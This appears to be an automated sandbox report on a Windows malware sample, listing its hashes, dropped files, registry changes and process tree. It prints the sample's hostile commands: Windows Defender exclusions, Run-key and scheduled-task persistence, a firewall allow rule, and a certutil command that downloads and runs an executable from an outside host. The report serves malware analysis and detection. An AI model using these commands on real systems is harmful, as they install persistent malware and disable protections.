Analysis
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max time kernel
142s -
max time network
145s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:50
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe
Resource
win10v20201028
General
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Target
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe
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Size
3.9MB
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MD5
ee8c8a3fb17b02910a2f23708e89493d
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SHA1
877a7eccd4038c3c970e4a47a5f8ac50af07cc92
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SHA256
6d5eaba61ad880a2fe44a32368a9af62d1165a367c9f08949df9637c05a11f3f
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SHA512
0d2c019914e85c06f3b8a6795d382cc531dcb0ccd3ebd577cd3f6f857662481cf96086ae6ad9187a95a07d0d60ff0a70bcd23681fcb6217a24e86c93917e7ecb
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1356 csrss.exe 412 patch.exe -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exepatch.exepid process 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe 864 412 patch.exe 412 patch.exe 412 patch.exe 412 patch.exe 412 patch.exe -
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cc32a828c4ee.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\cc32a828c4ee\cc32a828c4ee = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\AncientSea = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\AncientSea = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1916 schtasks.exe 1724 schtasks.exe -
Modifies data under HKEY_USERS 237 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exepid process 1704 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.execsrss.exedescription pid process Token: SeDebugPrivilege 1704 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Token: SeImpersonatePrivilege 1704 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe Token: SeSystemEnvironmentPrivilege 1356 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.execmd.exedescription pid process target process PID 320 wrote to memory of 584 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe cmd.exe PID 320 wrote to memory of 584 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe cmd.exe PID 320 wrote to memory of 584 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe cmd.exe PID 320 wrote to memory of 584 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe cmd.exe PID 584 wrote to memory of 1940 584 cmd.exe netsh.exe PID 584 wrote to memory of 1940 584 cmd.exe netsh.exe PID 584 wrote to memory of 1940 584 cmd.exe netsh.exe PID 320 wrote to memory of 1356 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe csrss.exe PID 320 wrote to memory of 1356 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe csrss.exe PID 320 wrote to memory of 1356 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe csrss.exe PID 320 wrote to memory of 1356 320 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.25597.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
ee8c8a3fb17b02910a2f23708e89493d
SHA1877a7eccd4038c3c970e4a47a5f8ac50af07cc92
SHA2566d5eaba61ad880a2fe44a32368a9af62d1165a367c9f08949df9637c05a11f3f
SHA5120d2c019914e85c06f3b8a6795d382cc531dcb0ccd3ebd577cd3f6f857662481cf96086ae6ad9187a95a07d0d60ff0a70bcd23681fcb6217a24e86c93917e7ecb
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
ee8c8a3fb17b02910a2f23708e89493d
SHA1877a7eccd4038c3c970e4a47a5f8ac50af07cc92
SHA2566d5eaba61ad880a2fe44a32368a9af62d1165a367c9f08949df9637c05a11f3f
SHA5120d2c019914e85c06f3b8a6795d382cc531dcb0ccd3ebd577cd3f6f857662481cf96086ae6ad9187a95a07d0d60ff0a70bcd23681fcb6217a24e86c93917e7ecb
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\Windows\rss\csrss.exeMD5
ee8c8a3fb17b02910a2f23708e89493d
SHA1877a7eccd4038c3c970e4a47a5f8ac50af07cc92
SHA2566d5eaba61ad880a2fe44a32368a9af62d1165a367c9f08949df9637c05a11f3f
SHA5120d2c019914e85c06f3b8a6795d382cc531dcb0ccd3ebd577cd3f6f857662481cf96086ae6ad9187a95a07d0d60ff0a70bcd23681fcb6217a24e86c93917e7ecb
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memory/320-5-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/320-4-0x0000000004B30000-0x0000000004B41000-memory.dmpFilesize
68KB
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memory/320-3-0x0000000004780000-0x0000000004B26000-memory.dmpFilesize
3.6MB
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memory/584-6-0x0000000000000000-mapping.dmp
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memory/584-22-0x000007FEF69C0000-0x000007FEF6C3A000-memory.dmpFilesize
2.5MB
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memory/1356-10-0x0000000000000000-mapping.dmp
